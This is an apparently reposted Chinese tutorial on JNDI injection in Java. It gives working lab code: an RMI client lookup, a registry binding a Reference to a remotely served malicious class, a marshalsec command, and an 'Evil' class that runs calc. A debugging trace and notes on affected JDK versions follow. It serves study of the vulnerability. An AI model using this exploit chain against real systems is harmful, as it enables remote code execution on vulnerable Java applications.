概述
jndi简介
Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象).
在了解jndi之后需要了解rmi的相关知识,远程方法调用 (RMI) 是一种 Java API,它允许 Java 对象调用远程对象上的方法,就好像它们是本地的一样。RMI 使运行在不同计算机上的 Java 虚拟机 (JVM) 之间能够进行通信,它是在 Java 中实现分布式计算的机制。
RMI 为 Java 对象提供了一种通过网络相互交互的方式,就好像它们在同一个 JVM 中运行一样。这是通过在一台机器上创建一个远程对象,然后在客户端机器上为该对象创建一个“存根”来实现的。客户端通过存根与远程对象通信,远程对象本身处理与服务器机器上运行的实际远程对象的通信。
RMI 使用 Java 的对象序列化机制来编组和解组参数以及远程方法调用的返回值。RMI 还允许远程对象具有回调,以便服务器对象可以调用客户端对象上的方法。
值得注意的是,RMI是Java特有的技术,不能用于跨语言、跨平台的开发。相反,在这些情况下更多
环境搭建
Ps:本次实验的jdk环境是1.8.0,
老版本的jdk下载链接:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
客户端为windows用为调试IP:192.168.40.1
服务端为kali,IP为192.168.40.128
地使用其他解决方案,例如 CORBA 和 Web 服务。
(1)创建客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) {
try {
// 设置trustURLCodebase的值为true, 防止远程调用失败
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "rmi://192.168.40.128:8880/feng";
// 此类是执行命名操作的初始上下文
Context ctx = new InitialContext();
// 返回绑定到 uri 的对象
ctx.lookup(uri);
} catch (Exception e) {
System.out.println("flynaaaaa");
}
}
}
InitialContext()提供了一种创建用于执行JNDI操作的上下文的方法,使得你的Java应用程序可以与各种命名和目录服务(如LDAP、DNS和NIS)交互,并为访问远程资源或服务提供了简单的方法。
(2)服务端创建:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
System.setProperty("java.rmi.server.hostname","192.168.40.128");
//用作创建注册中心
Registry registry = LocateRegistry.createRegistry(8880);
//将我们的恶意类搭载到http://192.168.40.128:9988/上 第二个Evil是创建的工厂,第一个Evil是编译的恶意类Evil.class
Reference feng = new Reference("Evil","Evil","http://192.168.40.128:9988/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(feng);
registry.bind("feng",referenceWrapper);
}
}
Reference是Java Naming and Directory Interface(JNDI) API的一部分,它用于表示对命名或目录服务中绑定的对象的引用。Reference类包含许多RefAddr对象,每个对象包含一种类型和一个值。
Reference对象由工厂类(如ObjectFactory)创建,用于传递工厂类重新创建对象所需的信息。
Reference类提供了一种存储对象引用的方法,该引用可以存储在JNDI命名服务中,例如,稍后由JNDI服务检索。Reference实例包含ObjectFactory需要重新创建对象所需的信息。
Reference可能包含RefAddr,该RefAddr包含类型和值。类型和值对可用于指定关于引用的其他信息,例如远程对象的位置,例如远程主机、端口和RMI接口,这允许ObjectFactory为远程对象创建适当的RMI存根。
总的来说, Reference实例用于向JNDI服务描述对象及其属性,并在需要时帮助重新创建对象。
操作:使用在kali上使用javac对服务端进行编译之后,使用java Sever运行程序
服务端也可以用marshalsec代替
命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.40.128:9988/#Evil" 8880
(3)创建恶意类
import java.io.IOException;
public class Evil {
// 静态代码块, 当类被加载时调用
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
操作:在kali上使用javac对Evil进行编译,然后在当前目录下开启http服务,本案例使用python开启9988
(4)结果
动态调试
触发问题的关键是lookup()函数,所以从lookup()函数入手
之后进入InitialContext类中的lookup()方法对uri进行加载
经过getURLOrDefaultInitCtx()方法对uri进行上下文处理后,进入GenericURLContext类中的lookup()方法。对uri再进行解析处理。
之后客户端查询sevice,向注册中心查询Reference的存根,调用RegistryContext类的lookup()
之后对RegistryContext类的lookup()进行跟进,stub经过特殊处理后进入RegistryContext类中的decodeObject()方法。
之后进入 NamingManager类的getObjectInstance()方法
getObjectInstance()方法有class进行判断如果本地存在Evil则从本地加载,如果本地没有则使用Reference()方法进行加载
这里用codebase进行远程加载
经过class类的newInstance()方法来创建对象,进而执行了Calc
ldap和rmi差不多,等有时间在继续进行实验。
总结:
原理:jndi注入当客户端本地没有目标类的时候,就是就会去codebase去请求该类,然后创建对象。
注意事项:
JDK版本(默认把ldap算进去了)在11.0.1、8u191、7u201、6u211之前可直接利用。
Ps:8u121之前 rmi ldap 的reference都可以使用,8u121~8u191 只有ldap可以使用。
高版本绕过:https://tttang.com/archive/1405/
利用总结:lookup可控、使用带的URL支持动态转换、Reference可以实例化对象。
最后
以上就是发嗲飞机为你收集整理的JNDI注入学习(看不懂直接喷,别忍着!)的全部内容,希望文章能够帮你解决JNDI注入学习(看不懂直接喷,别忍着!)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复